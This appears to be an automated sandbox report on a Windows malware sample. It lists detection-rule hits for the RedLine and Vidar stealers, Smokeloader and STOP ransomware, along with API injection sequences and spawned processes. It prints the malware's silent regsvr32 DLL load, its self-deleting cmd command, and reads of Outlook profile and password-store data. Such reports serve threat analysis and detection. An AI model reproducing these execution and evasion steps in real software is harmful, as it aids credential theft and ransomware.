Source: 0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000019.00000000.442875397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000D.00000002.443176510.0000000000820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001E.00000002.535910271.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.505917720.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.443497890.0000000000851000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000E.00000000.428974978.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000000.345197591.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000B.00000002.504609430.0000000000710000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: Process Memory Space: 5487.exe PID: 1272, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: 5999.exe PID: 1244, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 5999.exe PID: 4888, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: String function: 0040EF58 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: String function: 0040E1D8 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: String function: 048DE43F appears 44 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040EF58 appears 35 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040156B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402241 NtQuerySystemInformation,	0_2_00402241
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040224D NtQuerySystemInformation,	0_2_0040224D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402251 NtQuerySystemInformation,	0_2_00402251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401577
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402219 NtQuerySystemInformation,	0_2_00402219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040221B NtQuerySystemInformation,	0_2_0040221B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401727 NtMapViewOfSection,NtMapViewOfSection,	0_2_00401727
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401581 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401581
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401584 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401584
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401587
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0040156B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_0040156B
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00402241 NtQuerySystemInformation,	11_2_00402241
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0040224D NtQuerySystemInformation,	11_2_0040224D
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00402251 NtQuerySystemInformation,	11_2_00402251
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00401577 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401577
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00402219 NtQuerySystemInformation,	11_2_00402219
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0040221B NtQuerySystemInformation,	11_2_0040221B
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00401727 NtMapViewOfSection,NtMapViewOfSection,	11_2_00401727
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00401581 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401581
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00401584 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401584
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00401587 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	11_2_00401587

Source: file.exe	Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: 5999.exe.1.dr	Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: 405E.exe.1.dr	Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: 45DE.exe.1.dr	Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: 49F6.exe.1.dr	Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: 5487.exe.1.dr	Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: gecbfdt.1.dr	Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: uucbfdt.1.dr	Static PE information: Resource name: RT_VERSION type: Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\uucbfdt

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@33/33@11/9

Source: C:\Users\user\AppData\Local\Temp\5487.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

Code function: 12_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

12_2_004019F0

Source: file.exe

Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\uucbfdt C:\Users\user\AppData\Roaming\uucbfdt
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\37F1.exe C:\Users\user\AppData\Local\Temp\37F1.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\405E.exe C:\Users\user\AppData\Local\Temp\405E.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\45DE.exe C:\Users\user\AppData\Local\Temp\45DE.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\49F6.exe C:\Users\user\AppData\Local\Temp\49F6.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\509E.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\509E.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5487.exe C:\Users\user\AppData\Local\Temp\5487.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5999.exe C:\Users\user\AppData\Local\Temp\5999.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\5999.exe	Process created: C:\Users\user\AppData\Local\Temp\5999.exe C:\Users\user\AppData\Local\Temp\5999.exe
Source: C:\Users\user\AppData\Local\Temp\49F6.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 520
Source: C:\Users\user\AppData\Local\Temp\45DE.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5516 -s 520
Source: unknown	Process created: C:\Users\user\AppData\Roaming\gecbfdt C:\Users\user\AppData\Roaming\gecbfdt
Source: C:\Users\user\AppData\Local\Temp\5487.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\user\AppData\Local\Temp\5487.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 6
Source: C:\Users\user\AppData\Roaming\gecbfdt	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1100 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\37F1.exe C:\Users\user\AppData\Local\Temp\37F1.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\405E.exe C:\Users\user\AppData\Local\Temp\405E.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\45DE.exe C:\Users\user\AppData\Local\Temp\45DE.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\49F6.exe C:\Users\user\AppData\Local\Temp\49F6.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\509E.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5487.exe C:\Users\user\AppData\Local\Temp\5487.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5999.exe C:\Users\user\AppData\Local\Temp\5999.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\509E.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\user\AppData\Local\Temp\5487.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5999.exe	Process created: C:\Users\user\AppData\Local\Temp\5999.exe C:\Users\user\AppData\Local\Temp\5999.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 6

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\37F1.tmp

Jump to behavior

Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 1C1E.tmp.20.dr, 28782868176069075816534615.18.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 5487.exe, 00000012.00000002.530162506.0000000061EB7000.00000002.00000001.01000000.00000013.sdmp, sqlite3.dll.18.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: C:\Users\user\AppData\Local\Temp\37F1.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008DCECB CreateToolhelp32Snapshot,Module32First,

0_2_008DCECB

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5936:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5516
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1100
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1324

Source: C:\Users\user\Desktop\file.exe	Command line argument: ppA	0_2_00416FC0
Source: C:\Users\user\AppData\Roaming\uucbfdt	Command line argument: ppA	11_2_00416FC0
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Command line argument: 08A	12_2_00413780

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5487.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5487.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5999.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\5999.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: 37F1.exe, 0000000C.00000002.541669029.0000000002EA1000.00000004.00000020.00020000.00000000.sdmp
